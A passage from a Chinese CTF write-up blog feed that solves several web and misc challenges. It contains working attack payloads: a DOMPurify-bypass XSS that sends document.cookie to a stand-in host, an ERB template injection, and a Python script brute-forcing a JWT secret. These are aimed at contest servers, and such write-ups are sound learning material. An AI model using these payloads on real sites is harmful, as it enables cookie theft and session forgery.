class="number">-3</span>:]</span><br><span class="line"> <span class="keyword">print</span> i, flag, ext</span><br></pre></td></tr></table></figure><br>我做这题的时候服务器一触发redos就挂,挂一台跑一位出来(运维大哥别打我<br>最后跑出结果<code>g3tFLAaGEAxY</code>,拿了一血。<br>flag:flag{g3tFLAaGEAxY}</p>
<p>后来发现题目超时就断开了,更容易跑了。。</p>
<h2 id="PHP-UAF"><a href="#PHP-UAF" class="headerlink" title="PHP-UAF"></a>PHP-UAF</h2><p>PHP 7.4.2,直接用现成exp打<br><a href="https://github.com/mm0r1/exploits" target="_blank" rel="noopener">https://github.com/mm0r1/exploits</a><br><img src="/img/uaf1.png" alt="uaf1"><br><img src="/img/uaf2.png" alt="uaf2"></p>
<h2 id="happyvacation"><a href="#happyvacation" class="headerlink" title="happyvacation"></a>happyvacation</h2><p><a href="http://159.138.4.209:1002/.git" target="_blank" rel="noopener">http://159.138.4.209:1002/.git</a> git泄露源码<br>审计代码发现答题的地方有个eval,answer参数有几个过滤,不能直接命令注入<br><img src="/img/hv1.png" alt="hv1"><br>但是看到this->user引入了上一层的$user,想到另外还有个上传点,于是构造<br><img src="/img/hv2.png" alt="hv2"><br>把uploader中的上传后缀黑名单清除,就能上传php文件了<br><img src="/img/hv3.png" alt="hv3"><br><img src="/img/hv4.png" alt="hv4"><br>最后直接读取/flag<br><img src="/img/hv5.png" alt="hv5"></p>
<p>所以提示里的bot是啥玩意?</p>
<p>自欺欺人md5验证码又是啥玩意?<br><img src="/img/hv6.png" alt="hv6"></p>
<h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>又是好久没有这么肝一场比赛了,最后拿了第二名,给队里的师傅们递茶!</p>
]]></content>
<summary type="html">
<p>这周末遇上高校战“疫”赛,打了两天,这里记录一下做的和参与做的几道题<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>2019 SCTF 部分 WriteUp</title>
<link href="https://www.codemonster.cn/2019/06/24/2019-sctf-writeup/"/>
<id>https://www.codemonster.cn/2019/06/24/2019-sctf-writeup/</id>
<published>2019-06-24T06:42:59.000Z</published>
<updated>2019-06-24T09:29:03.000Z</updated>
<content type="html"><![CDATA[<p>刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题<br><a id="more"></a></p>
<h2 id="math-is-fun1"><a href="#math-is-fun1" class="headerlink" title="math-is-fun1"></a>math-is-fun1</h2><p>题目给了个在线编辑器<br><a href="http://47.110.128.101/challenge?name=Challenger" target="_blank" rel="noopener">http://47.110.128.101/challenge?name=Challenger</a><br>可以提交一个url到服务器,结合hint确定是要xss了<br><a href="http://47.110.128.101/send_message.html" target="_blank" rel="noopener">http://47.110.128.101/send_message.html</a></p>
<p>启用了Dompurify,且配置文件<a href="http://47.110.128.101/config" target="_blank" rel="noopener">http://47.110.128.101/config</a> 如下<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE</span><br><span class="line">D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})</span><br></pre></td></tr></table></figure><br>分析了页面里的js代码<br>渲染流程如下:</p>
<ul>
<li>服务器将name参数拼接到一个config类型的script标签中</li>
<li>读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)</li>
<li>将config[name]拼接到textarea中</li>
<li>读取location.search中的text,URLdecode后覆盖textarea</li>
<li>监听textarea变化后会执行如下事件<ul>
<li>读取textarea的内容</li>
<li>Dompurify过滤 (上面发的先知链接已经被修复)</li>
<li>markdown渲染 (不知道用的啥库)</li>
<li>latex渲染 (用的mathjax2.7.5不存在已知xss)</li>
<li>插入页面</li>
</ul>
</li>
</ul>
<p>猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js :966</span><br></pre></td></tr></table></figure></p>
<p><img src="/img/2019-sctf-1.png" alt=""><br>当<code>DOMPurify.isSupported</code>为<code>false</code>,则能够绕过过滤<br>于是构造<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=a;alert(<span class="number">1</span>);%<span class="number">0</span>aDOMPurify[%<span class="number">27</span>isSupported%<span class="number">27</span>]%<span class="number">3</span>dfalse&text=<span class="xml"><span class="tag"><<span class="name">script</span>></span>alert(1)</span></span><br></pre></td></tr></table></figure></p>
<p>把<code>DOMPurify.isSupported</code>设置为false,text参数的值就能直接插入页面中,造成xss<br>(这里不知道为啥<code>text=<script>alert(1)</code>直接就绕过csp弹窗了,可能是非预期<br><img src="/img/2019-sctf-2.png" alt=""></p>
<p>最后payload:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=a;alert(<span class="number">1</span>);%<span class="number">0</span>aDOMPurify[%<span class="number">27</span>isSupported%<span class="number">27</span>]%<span class="number">3</span>dfalse&text=<span class="xml"><span class="tag"><<span class="name">script</span>></span><span class="javascript"><span class="built_in">window</span>.location.href%<span class="number">3</span>d<span class="string">"http://xxxx.xxxx/?a%3d"</span>%<span class="number">2</span>bescape(<span class="built_in">document</span>.cookie)</span></span></span><br></pre></td></tr></table></figure></p>
<p>两题都可以用这个paylaod打<br><img src="/img/2019-sctf-3.png" alt=""></p>
<h2 id="math-is-fun2"><a href="#math-is-fun2" class="headerlink" title="math-is-fun2"></a>math-is-fun2</h2><p>题解同上,<br>payload:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=a;alert(<span class="number">1</span>);%<span class="number">0</span>aDOMPurify[%<span class="number">27</span>isSupported%<span class="number">27</span>]%<span class="number">3</span>dfalse&text=<span class="xml"><span class="tag"><<span class="name">script</span>></span><span class="javascript"><span class="built_in">window</span>.location.href%<span class="number">3</span>d<span class="string">"http://xxxx.xxxx/?a%3d"</span>%<span class="number">2</span>bescape(<span class="built_in">document</span>.cookie)</span></span></span><br></pre></td></tr></table></figure></p>
<h2 id="flag-shop"><a href="#flag-shop" class="headerlink" title="flag shop"></a>flag shop</h2><p>robots.txt提示/filebak,访问后拿到源码:<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'sinatra'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'sinatra/cookies'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'sinatra/json'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'jwt'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'securerandom'</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">'erb'</span></span><br><span class="line"></span><br><span class="line">set <span class="symbol">:public_folder</span>, File.dirname(__FILE_<span class="number">_</span>) + <span class="string">'/static'</span></span><br><span class="line"></span><br><span class="line">FLAGPRICE = <span class="number">1000000000000000000000000000</span></span><br><span class="line"><span class="comment">#ENV["SECRET"] = SecureRandom.hex(xx)</span></span><br><span class="line"></span><br><span class="line">configure <span class="keyword">do</span></span><br><span class="line"> enable <span class="symbol">:logging</span></span><br><span class="line"> file = File.new(File.dirname(__FILE_<span class="number">_</span>) + <span class="string">'/../log/http.log'</span>,<span class="string">"a+"</span>)</span><br><span class="line"> file.sync = <span class="literal">true</span></span><br><span class="line"> use Rack::CommonLogger, file</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/"</span> <span class="keyword">do</span></span><br><span class="line"> redirect <span class="string">'/shop'</span>, <span class="number">302</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/filebak"</span> <span class="keyword">do</span></span><br><span class="line"> content_type <span class="symbol">:text</span></span><br><span class="line"> erb IO.binread __FILE_<span class="number">_</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/api/auth"</span> <span class="keyword">do</span></span><br><span class="line"> payload = { <span class="symbol">uid:</span> SecureRandom.uuid , <span class="symbol">jkl:</span> <span class="number">20</span>}</span><br><span class="line"> auth = JWT.encode payload,ENV[<span class="string">"SECRET"</span>] , <span class="string">'HS256'</span></span><br><span class="line"> cookies[<span class="symbol">:auth</span>] = auth</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/api/info"</span> <span class="keyword">do</span></span><br><span class="line"> islogin</span><br><span class="line"> auth = JWT.decode cookies[<span class="symbol">:auth</span>],ENV[<span class="string">"SECRET"</span>] , <span class="literal">true</span>, { <span class="symbol">algorithm:</span> <span class="string">'HS256'</span> }</span><br><span class="line"> json({<span class="symbol">uid:</span> auth[<span class="number">0</span>][<span class="string">"uid"</span>],<span class="symbol">jkl:</span> auth[<span class="number">0</span>][<span class="string">"jkl"</span>]})</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/shop"</span> <span class="keyword">do</span></span><br><span class="line"> erb <span class="symbol">:shop</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">get <span class="string">"/work"</span> <span class="keyword">do</span></span><br><span class="line"> islogin</span><br><span class="line"> auth = JWT.decode cookies[<span class="symbol">:auth</span>],ENV[<span class="string">"SECRET"</span>] , <span class="literal">true</span>, { <span class="symbol">algorithm:</span> <span class="string">'HS256'</span> }</span><br><span class="line"> auth = auth[<span class="number">0</span>]</span><br><span class="line"> <span class="keyword">unless</span> params[<span class="symbol">:SECRET</span>].<span class="literal">nil</span>?</span><br><span class="line"> <span class="keyword">if</span> ENV[<span class="string">"SECRET"</span>].match(<span class="string">"<span class="subst">#{params[<span class="symbol">:SECRET</span>].match(<span class="regexp">/[0-9a-z]+/</span>)}</span>"</span>)</span><br><span class="line"> puts ENV[<span class="string">"FLAG"</span>]</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> params[<span class="symbol">:do</span>] == <span class="string">"<span class="subst">#{params[<span class="symbol">:name</span>][<span class="number">0</span>,<span class="number">7</span>]}</span> is working"</span> <span class="keyword">then</span></span><br><span class="line"></span><br><span class="line"> auth[<span class="string">"jkl"</span>] = auth[<span class="string">"jkl"</span>].to_i + SecureRandom.random_number(<span class="number">10</span>)</span><br><span class="line"> auth = JWT.encode auth,ENV[<span class="string">"SECRET"</span>] , <span class="string">'HS256'</span></span><br><span class="line"> cookies[<span class="symbol">:auth</span>] = auth</span><br><span class="line"> ERB::new(<span class="string">"<script>alert('<span class="subst">#{params[<span class="symbol">:name</span>][<span class="number">0</span>,<span class="number">7</span>]}</span> working successfully!')</script>"</span>).result</span><br><span class="line"></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">post <span class="string">"/shop"</span> <span class="keyword">do</span></span><br><span class="line"> islogin</span><br><span class="line"> auth = JWT.decode cookies[<span class="symbol">:auth</span>],ENV[<span class="string">"SECRET"</span>] , <span class="literal">true</span>, { <span class="symbol">algorithm:</span> <span class="string">'HS256'</span> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> auth[<span class="number">0</span>][<span class="string">"jkl"</span>] < FLAGPRICE <span class="keyword">then</span></span><br><span class="line"></span><br><span class="line"> json({<span class="symbol">title:</span> <span class="string">"error"</span>,<span class="symbol">message:</span> <span class="string">"no enough jkl"</span>})</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"></span><br><span class="line"> auth << {<span class="symbol">flag:</span> ENV[<span class="string">"FLAG"</span>]}</span><br><span class="line"> auth = JWT.encode auth,ENV[<span class="string">"SECRET"</span>] , <span class="string">'HS256'</span></span><br><span class="line"> cookies[<span class="symbol">:auth</span>] = auth</span><br><span class="line"> json({<span class="symbol">title:</span> <span class="string">"success"</span>,<span class="symbol">message:</span> <span class="string">"jkl is good thing"</span>})</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">islogin</span></span></span><br><span class="line"> <span class="keyword">if</span> cookies[<span class="symbol">:auth</span>].<span class="literal">nil</span>? <span class="keyword">then</span></span><br><span class="line"> redirect to(<span class="string">'/shop'</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure></p>
<p>发现<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERB::new(<span class="string">"<script>alert('<span class="subst">#{params[<span class="symbol">:name</span>][<span class="number">0</span>,<span class="number">7</span>]}</span> working successfully!')</script>"</span>).result</span><br></pre></td></tr></table></figure></p>
<p>存在erb模版注入,构造name为 <code><%=$~%></code>,do为<code><%=$~%> is working</code>,结合<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ENV[<span class="string">"SECRET"</span>].match(<span class="string">"<span class="subst">#{params[<span class="symbol">:SECRET</span>].match(<span class="regexp">/[0-9a-z]+/</span>)}</span>"</span>),</span><br></pre></td></tr></table></figure></p>
<p>其中的<code>SECRET</code>参数可控,如果匹配到SECRET,则<code>$~</code>(ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。<br>爆破脚本如下:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://47.110.15.101"</span></span><br><span class="line">re = requests.session()</span><br><span class="line">re.get(url + <span class="string">"/api/auth"</span>)</span><br><span class="line"></span><br><span class="line">flag = <span class="string">"09810e652ce9fa4882fe4875c"</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> i = <span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">"0123456789abcdef"</span>:</span><br><span class="line"> <span class="comment">#now = flag + i</span></span><br><span class="line"> now = i + flag</span><br><span class="line"> res = re.get(url + <span class="string">"/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="</span>+now)</span><br><span class="line"> <span class="keyword">if</span> len(res.text) > <span class="number">48</span>:</span><br><span class="line"> <span class="keyword">print</span> res.text</span><br><span class="line"> <span class="keyword">print</span> flag</span><br><span class="line"> flag = now</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure><br><img src="/img/2019-sctf-4.png" alt=""><br>拿到SECRET后就是伪造cookie去买flag了<br><img src="/img/2019-sctf-5.png" alt=""><br><img src="/img/2019-sctf-6.png" alt=""></p>
<h2 id="Maaaaaaze"><a href="#Maaaaaaze" class="headerlink" title="Maaaaaaze"></a>Maaaaaaze</h2><p>题目意思是找100*100的迷宫中任意两点最大路径<br>于是把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进dfs去跑,最后就得到答案<code>4056</code>了<br>脚本如下(好久没写算法了还真有点手生):<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">sys.setrecursionlimit(<span class="number">100000</span>)</span><br><span class="line"></span><br><span class="line">file = open(<span class="string">"sctfmaze.txt"</span>)</span><br><span class="line">maze = [[<span class="number">0</span> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">100</span>)] <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">100</span>)]</span><br><span class="line">vis = [[<span class="number">0</span> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">100</span>)] <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">100</span>)]</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Node</span>:</span></span><br><span class="line"> t = <span class="number">0</span></span><br><span class="line"> r = <span class="number">0</span></span><br><span class="line"> b = <span class="number">0</span></span><br><span class="line"> l = <span class="number">0</span></span><br><span class="line"><span class="comment">#print maze</span></span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> file:</span><br><span class="line"> a = line[:<span class="number">-1</span>].split(<span class="string">" "</span>)</span><br><span class="line"> <span class="comment">#print a</span></span><br><span class="line"> n = Node()</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">2</span>,len(a)):</span><br><span class="line"> <span class="comment">#print a[i],</span></span><br><span class="line"> <span class="keyword">if</span> a[i] == <span class="string">'0'</span> :</span><br><span class="line"> n.t = <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> a[i] == <span class="string">'1'</span> :</span><br><span class="line"> n.r = <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> a[i] == <span class="string">'2'</span> :</span><br><span class="line"> n.b = <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> a[i] == <span class="string">'3'</span> :</span><br><span class="line"> n.l = <span class="number">1</span></span><br><span class="line"> <span class="comment">#print a[i],</span></span><br><span class="line"> <span class="comment">#print</span></span><br><span class="line"> maze[int(a[<span class="number">0</span>])][int(a[<span class="number">1</span>])] = n</span><br><span class="line"> <span class="comment">#print a[0],a[1],maze[int(a[0])][int(a[1])].b</span></span><br><span class="line"><span class="comment">#exit()</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check</span><span class="params">(i,j)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> i>=<span class="number">100</span> <span class="keyword">or</span> i<<span class="number">0</span> <span class="keyword">or</span> j>=<span class="number">100</span> <span class="keyword">or</span> j<<span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> <span class="keyword">if</span> vis[i][j] == <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">printmap</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">global</span> vis</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line"> <span class="keyword">if</span> vis[i][j] == <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"%2d%2d"</span> % (i,j)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">" "</span></span><br><span class="line"></span><br><span class="line">maxx = <span class="number">0</span></span><br><span class="line"><span class="keyword">print</span> maxx,i,j</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dfs</span><span class="params">(i,j,n)</span>:</span></span><br><span class="line"> <span class="keyword">global</span> maxx</span><br><span class="line"> <span class="keyword">global</span> vis</span><br><span class="line"> <span class="keyword">global</span> maze</span><br><span class="line"> n += <span class="number">1</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">#print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l</span></span><br><span class="line"> <span class="keyword">if</span> n>maxx:</span><br><span class="line"> <span class="keyword">print</span> n,i,j</span><br><span class="line"> <span class="comment">#print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l</span></span><br><span class="line"> </span><br><span class="line"> maxx = n</span><br><span class="line"> <span class="keyword">if</span> check(i<span class="number">-1</span>,j) <span class="keyword">and</span> maze[i][j].t == <span class="number">0</span>:</span><br><span class="line"> vis[i<span class="number">-1</span>][j] = <span class="number">1</span></span><br><span class="line"> dfs(i<span class="number">-1</span>,j,n)</span><br><span class="line"> vis[i<span class="number">-1</span>][j] = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> check(i,j+<span class="number">1</span>) <span class="keyword">and</span> maze[i][j].r == <span class="number">0</span>:</span><br><span class="line"> vis[i][j+<span class="number">1</span>] = <span class="number">1</span></span><br><span class="line"> dfs(i,j+<span class="number">1</span>,n)</span><br><span class="line"> vis[i][j+<span class="number">1</span>] = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> check(i+<span class="number">1</span>,j) <span class="keyword">and</span> maze[i][j].b == <span class="number">0</span>:</span><br><span class="line"> vis[i+<span class="number">1</span>][j] = <span class="number">1</span></span><br><span class="line"> dfs(i+<span class="number">1</span>,j,n)</span><br><span class="line"> vis[i+<span class="number">1</span>][j] = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> check(i,j<span class="number">-1</span>) <span class="keyword">and</span> maze[i][j].l == <span class="number">0</span>:</span><br><span class="line"> vis[i][j<span class="number">-1</span>] = <span class="number">1</span></span><br><span class="line"> dfs(i,j<span class="number">-1</span>,n)</span><br><span class="line"> vis[i][j<span class="number">-1</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">vis[<span class="number">70</span>][<span class="number">22</span>] = <span class="number">1</span></span><br><span class="line">dfs(<span class="number">70</span>,<span class="number">22</span>,<span class="number">0</span>)</span><br><span class="line">exit()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line"> <span class="comment">#print i,j</span></span><br><span class="line"> vis[i][j] = <span class="number">1</span></span><br><span class="line"> dfs(i,j,<span class="number">0</span>)</span><br><span class="line"> vis[i][j] = <span class="number">0</span></span><br></pre></td></tr></table></figure></p>
<h2 id="music"><a href="#music" class="headerlink" title="music"></a>music</h2><p>这是道逆向题,前面是队友做的,到我这给了我一个java的加密类和密文与密钥,要求解出明文<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">c</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">int</span> m = <span class="number">256</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">a</span><span class="params">(String paramString1, String paramString2)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">int</span> i = m;</span><br><span class="line"> <span class="keyword">int</span>[] arrayOfInt = <span class="keyword">new</span> <span class="keyword">int</span>[i];</span><br><span class="line"> <span class="keyword">byte</span>[] arrayOfByte = <span class="keyword">new</span> <span class="keyword">byte</span>[i];</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < m; i++)</span><br><span class="line"> {</span><br><span class="line"> arrayOfInt[i] = i;</span><br><span class="line"> arrayOfByte[i] = ((<span class="keyword">byte</span>)(<span class="keyword">byte</span>)paramString2.charAt(i % paramString2.length()));</span><br><span class="line"> }</span><br><span class="line"> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> j = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (;;)</span><br><span class="line"> {</span><br><span class="line"> k = m;</span><br><span class="line"> <span class="keyword">if</span> (i >= k - <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> j = (arrayOfInt[i] + j + arrayOfByte[i]) % k;</span><br><span class="line"> k = arrayOfInt[i];</span><br><span class="line"> arrayOfInt[i] = arrayOfInt[j];</span><br><span class="line"> arrayOfInt[j] = k;</span><br><span class="line"> i++;</span><br><span class="line"> }</span><br><span class="line"> paramString2 = paramString1.toCharArray();</span><br><span class="line"> 